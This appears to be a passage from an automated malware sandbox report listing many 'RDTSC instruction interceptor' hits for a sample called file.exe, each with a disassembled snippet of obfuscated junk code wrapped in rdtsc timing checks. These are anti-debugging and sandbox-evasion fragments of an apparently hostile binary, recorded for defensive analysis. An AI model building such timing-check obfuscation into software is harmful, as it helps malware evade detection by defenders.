Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A057DD second address: A057FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB9265606h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06FB8 second address: A06FBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06FBC second address: A06FC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06FC0 second address: A06FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06FC6 second address: A06FF0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3AB92655F8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F3AB9265608h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B7E4 second address: A0B7FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AB92824A6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1478A second address: A147A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AB9265608h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A147A6 second address: A147C7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3AB9282496h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3AB92824A1h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A147C7 second address: A147DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92655FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A147DA second address: A147DF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1B666 second address: A1B66B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1B66B second address: A1B682 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AB92824A3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1BA9D second address: A1BAA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3AB92655F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1BAA8 second address: A1BAAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1BAAE second address: A1BABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AB92655FBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1BABD second address: A1BAC7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3AB9282496h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1BAC7 second address: A1BAD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007F3AB92655F6h 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1BAD8 second address: A1BAE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1BAE6 second address: A1BAF0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3AB92655F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1BC4D second address: A1BC57 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3AB928249Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936039 second address: 93603E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20FCD second address: A20FE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AB92824A3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21165 second address: A2116B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2459B second address: A2459F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A31387 second address: A313B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F3AB92655FBh 0x0000000b jmp 00007F3AB9265601h 0x00000010 popad 0x00000011 jbe 00007F3AB92655FEh 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A313B4 second address: A313C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3AB928249Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A41A30 second address: A41A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A41A38 second address: A41A84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3AB92824A2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007F3AB92824A4h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F3AB92824A9h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A41A84 second address: A41A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4174F second address: A41754 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5736C second address: A57374 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57374 second address: A5738C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A0h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5738C second address: A573A0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3AB92655F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A573A0 second address: A573A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A573A4 second address: A573BF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F3AB92655F6h 0x0000000d jmp 00007F3AB92655FDh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5668A second address: A5668E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A567AD second address: A567B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A567B1 second address: A567B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A567B7 second address: A567E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3AB9265608h 0x0000000c jnc 00007F3AB92655F6h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56BED second address: A56C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F3AB928249Dh 0x0000000b jne 00007F3AB9282496h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56C06 second address: A56C1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB9265603h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56EB8 second address: A56F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F3AB928249Eh 0x0000000b pushad 0x0000000c jmp 00007F3AB92824A7h 0x00000011 jmp 00007F3AB928249Fh 0x00000016 je 00007F3AB9282496h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F3AB928249Ch 0x00000026 jmp 00007F3AB92824A6h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59D3A second address: A59D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59D41 second address: A59D61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F3AB9282496h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jne 00007F3AB928249Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59D61 second address: A59D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59F24 second address: A59F30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59F30 second address: A59F34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A1FA second address: A5A200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A200 second address: A5A247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 nop 0x00000007 mov dx, 03BBh 0x0000000b push dword ptr [ebp+122D247Dh] 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F3AB92655F8h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b sub dh, FFFFFF90h 0x0000002e mov dword ptr [ebp+12467A0Bh], edi 0x00000034 push 08786B27h 0x00000039 push ebx 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B590 second address: A5B5A3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3AB9282496h 0x00000008 jno 00007F3AB9282496h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5D1AC second address: A5D1CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F3AB926560Bh 0x0000000e jmp 00007F3AB9265605h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5D1CF second address: A5D1D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F3AB9282496h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5D1D9 second address: A5D1DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5D1DD second address: A5D1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AB928249Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B1033B second address: 4B10341 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10341 second address: 4B10346 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10346 second address: 4B1037B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, ax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F3AB92655FFh 0x00000014 jmp 00007F3AB9265603h 0x00000019 popfd 0x0000001a mov ah, B1h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B1037B second address: 4B103D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F3AB92824A0h 0x00000010 mov edx, dword ptr [ebp+0Ch] 0x00000013 jmp 00007F3AB92824A0h 0x00000018 mov ecx, dword ptr [ebp+08h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F3AB92824A7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B103D2 second address: 4B103EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AB9265604h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B305D6 second address: 4B305F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B305F3 second address: 4B30625 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB9265601h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3AB9265608h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30625 second address: 4B30629 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30629 second address: 4B3062F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3062F second address: 4B30640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AB928249Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30640 second address: 4B30644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30644 second address: 4B30686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3AB928249Ch 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov si, 395Dh 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push ecx 0x0000001b pop ebx 0x0000001c pushfd 0x0000001d jmp 00007F3AB928249Ch 0x00000022 sbb cx, CCE8h 0x00000027 jmp 00007F3AB928249Bh 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30686 second address: 4B306C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB9265609h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3AB9265608h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B306C0 second address: 4B306CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB928249Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B306CF second address: 4B306D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B306D5 second address: 4B30706 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3AB928249Eh 0x0000000e xchg eax, ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F3AB92824A3h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30706 second address: 4B3070C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3070C second address: 4B30710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30710 second address: 4B3077F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92655FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d mov eax, 1416F77Bh 0x00000012 mov si, 9057h 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 mov edi, 3B5E69AEh 0x0000001e mov ax, dx 0x00000021 popad 0x00000022 xchg eax, esi 0x00000023 pushad 0x00000024 pushad 0x00000025 push edi 0x00000026 pop ecx 0x00000027 mov dx, F30Ch 0x0000002b popad 0x0000002c mov di, 33F8h 0x00000030 popad 0x00000031 lea eax, dword ptr [ebp-04h] 0x00000034 jmp 00007F3AB9265607h 0x00000039 nop 0x0000003a pushad 0x0000003b mov ebx, 3B98E896h 0x00000040 popad 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F3AB9265603h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3080F second address: 4B3081E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB928249Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3089A second address: 4B308A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B308A0 second address: 4B30035 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c sub esp, 04h 0x0000000f xor ebx, ebx 0x00000011 cmp eax, 00000000h 0x00000014 je 00007F3AB92825E5h 0x0000001a xor eax, eax 0x0000001c mov dword ptr [esp], 00000000h 0x00000023 mov dword ptr [esp+04h], 00000000h 0x0000002b call 00007F3ABD61DFEBh 0x00000030 mov edi, edi 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F3AB92824A4h 0x00000039 sbb cx, C1F8h 0x0000003e jmp 00007F3AB928249Bh 0x00000043 popfd 0x00000044 popad 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 movsx ebx, si 0x0000004c movzx esi, bx 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30035 second address: 4B30087 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3AB9265600h 0x00000009 or si, CB88h 0x0000000e jmp 00007F3AB92655FBh 0x00000013 popfd 0x00000014 call 00007F3AB9265608h 0x00000019 pop ecx 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov dword ptr [esp], ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F3AB92655FCh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30087 second address: 4B300FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3AB92824A1h 0x00000009 xor esi, 3AB5C406h 0x0000000f jmp 00007F3AB92824A1h 0x00000014 popfd 0x00000015 jmp 00007F3AB92824A0h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ebp, esp 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F3AB928249Eh 0x00000026 adc ch, FFFFFFD8h 0x00000029 jmp 00007F3AB928249Bh 0x0000002e popfd 0x0000002f movzx esi, di 0x00000032 popad 0x00000033 push FFFFFFFEh 0x00000035 pushad 0x00000036 mov esi, edi 0x00000038 mov eax, edx 0x0000003a popad 0x0000003b push 2E0995AAh 0x00000040 pushad 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B300FD second address: 4B3014D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, D44Dh 0x00000008 popad 0x00000009 movzx ecx, di 0x0000000c popad 0x0000000d add dword ptr [esp], 47A1089Eh 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F3AB92655FBh 0x0000001b adc si, 2DFEh 0x00000020 jmp 00007F3AB9265609h 0x00000025 popfd 0x00000026 mov ecx, 4AF6D247h 0x0000002b popad 0x0000002c push 09201FD3h 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3014D second address: 4B30177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F3AB92824A2h 0x0000000a add esi, 06C16C28h 0x00000010 jmp 00007F3AB928249Bh 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30177 second address: 4B301E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB9265609h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 6C850B9Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F3AB9265603h 0x00000019 add cl, FFFFFFCEh 0x0000001c jmp 00007F3AB9265609h 0x00000021 popfd 0x00000022 jmp 00007F3AB9265600h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B301E0 second address: 4B3026A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 pushfd 0x00000007 jmp 00007F3AB928249Dh 0x0000000c adc cx, 05B6h 0x00000011 jmp 00007F3AB92824A1h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov eax, dword ptr fs:[00000000h] 0x00000020 pushad 0x00000021 mov di, ax 0x00000024 popad 0x00000025 push ecx 0x00000026 pushad 0x00000027 mov ah, 38h 0x00000029 mov si, dx 0x0000002c popad 0x0000002d mov dword ptr [esp], eax 0x00000030 jmp 00007F3AB928249Fh 0x00000035 sub esp, 18h 0x00000038 jmp 00007F3AB92824A6h 0x0000003d xchg eax, ebx 0x0000003e pushad 0x0000003f mov edx, eax 0x00000041 mov edx, ecx 0x00000043 popad 0x00000044 push eax 0x00000045 jmp 00007F3AB928249Fh 0x0000004a xchg eax, ebx 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3026A second address: 4B30285 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB9265607h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
